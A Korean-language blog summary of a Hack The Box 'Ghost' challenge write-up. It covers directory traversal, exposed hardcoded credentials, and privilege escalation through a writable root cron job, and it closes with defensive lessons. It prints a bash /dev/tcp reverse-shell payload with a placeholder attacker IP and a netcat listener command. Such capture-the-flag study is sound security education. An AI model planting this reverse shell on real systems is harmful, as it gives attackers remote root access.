Kant's IT/Issue on IT&Security

Hack The Box “Ghost” 해킹 챌린지 분석 및 기술적 취약점 정리

Kant Jo 2025. 5. 16. 12:26

Hack The box "Ghost" Challenge Cracked - A Detailed Technical Exploit

 

  • 챌린지 개요 및 공격자 접근 방식
    • 해킹 챌린지 Ghost는 기업 시스템을 모방한 환경으로, 웹 서버 및 비표준 포트를 통한 다양한 보안 취약점이 숨겨져 있음
    • 보안 연구원 0xdf는 정보 수집부터 권한 상승까지의 전 과정을 문서화하며 익스플로잇 체인을 완성
  • 초기 접근: 정보 수집 및 인증 우회
    • Nmap 포트 스캔을 통해 웹 서버(port 80) 및 사용자 정의 서비스(port 31337) 확인
    • 웹 경로(/ghost/../)에서 디렉터리 트래버설(directory traversal) 취약점 발견
      • 입력 검증 부족으로 웹 루트 바깥의 파일 접근 가능
      • 설정 파일 내 하드코딩된 자격증명(admin:gh0stP@ss) 노출
    • 31337 포트의 TCP 서비스는 인증 기반 명령 수신기 역할
      • Python 소켓 스크립트를 통해 인증 및 명령 실행 가능
  • 권한 상승: 크론 잡 취약점 이용
    • /etc/cron.d/ 경로에 쓰기 권한이 있는 루트 권한 스케줄링 스크립트 존재
    • 해당 스크립트에 역쉘(reverse shell) 페이로드 삽입
      • bash -i >& /dev/tcp/<공격자 IP>/4444 0>&1
      • Netcat 리스너(nc -lvnp 4444)를 통해 루트 셸 획득
    • 최종적으로 /root/flag.txt 파일 확보로 과제 완료
  • 사용된 주요 도구 및 기법
    • Nmap: 포트 및 서비스 탐지
    • 소켓 통신: TCP 기반 인증 및 명령 실행
    • cron misconfiguration: 루트 권한 작업 자동 실행 취약점
    • netcat: 외부 연결 수신 대기 및 셸 반환
    • bash 리디렉션: TCP를 통한 셸 전달
  • 보안 권고
    • 디렉터리 경로 검증 실패는 서버 파일 시스템 전체를 노출할 수 있음
    • 자격증명 하드코딩은 외부 침입자에게 초기 접근 권한을 제공함
    • cron 작업 스크립트에 대한 과도한 권한 부여는 루트 권한 탈취로 이어질 수 있음
    • 공격 체인은 실제 환경에서도 유사하게 적용되므로, 시스템 관리자 입장에서 큰 교훈 제공
  • 결론
    • Ghost 챌린지는 실제 침투 테스트 환경에 가까운 시나리오 제공
    • 취약한 입력 검증, 잘못된 권한 설정, 인증 정보 노출 등이 종합적으로 악용됨
    • 보안 관리자 및 개발자는 코드와 시스템 구성에서 기본 보안 수칙을 철저히 준수해야 함
    • 침투 테스트 관점에서 본 도전 사례는 학습용 자료로써 큰 가치가 있으며, 보안 인식 제고에 실질적인 도움을 줄 수 있음